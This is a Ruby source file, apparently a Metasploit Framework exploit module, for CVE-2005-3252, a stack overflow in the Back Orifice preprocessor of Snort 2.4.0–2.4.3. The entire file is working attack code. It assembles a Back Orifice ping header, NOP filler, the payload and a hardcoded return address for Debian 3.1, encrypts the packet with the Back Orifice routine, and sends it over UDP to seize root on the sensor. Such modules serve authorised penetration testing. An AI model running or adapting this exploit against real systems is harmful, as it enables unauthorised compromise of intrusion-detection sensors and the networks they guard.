111 lines
2.3 KiB
Ruby
111 lines
2.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Snort Back Orifice Pre-Preprocessor Remote Exploit',
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'Description' => %q{
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This module exploits a stack overflow in the Back Orifice pre-processor module
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included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
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be used to completely compromise a Snort sensor, and would typically gain an attacker
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full root or administrative privileges.
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},
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'Author' => 'KaiJern Lau <xwings [at] mysec.org>',
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'License' => BSD_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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['CVE', '2005-3252'],
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['OSVDB', '20034'],
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['BID', '15131'],
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['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
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],
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'Payload' =>
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{
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'Space' => 1073, #ret : 1069
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'BadChars' => "\x00",
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},
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'Targets' =>
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[
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# Target 0: Debian 3.1 Sarge
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[
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'Debian 3.1 Sarge',
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{
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'Platform' => 'linux',
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'Ret' => 0xbffff350
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}
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],
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],
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'DefaultTarget' => 0))
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# Configure the default port to be 9080
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register_options(
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[
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Opt::RPORT(9080),
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], self.class)
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end
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def msrand(seed)
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@holdrand = 31337
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end
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def mrand()
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return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
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end
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def bocrypt(takepayload)
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@arrpayload = (takepayload.split(//))
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encpayload = ""
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@holdrand=0
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msrand(0)
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@arrpayload.each do |c|
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encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
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end
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return encpayload
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end
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def exploit
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connect_udp
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boheader =
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"*!*QWTY?" +
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[1096].pack("V") + # Length ,thanx Russell Sanford
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"\xed\xac\xef\x0d"+ # ID
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"\x01" # PING
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filler =
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make_nops(1069 -(boheader.length + payload.encode.length))
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udp_sock.write(
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bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))
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)
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handler
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disconnect_udp
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end
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end
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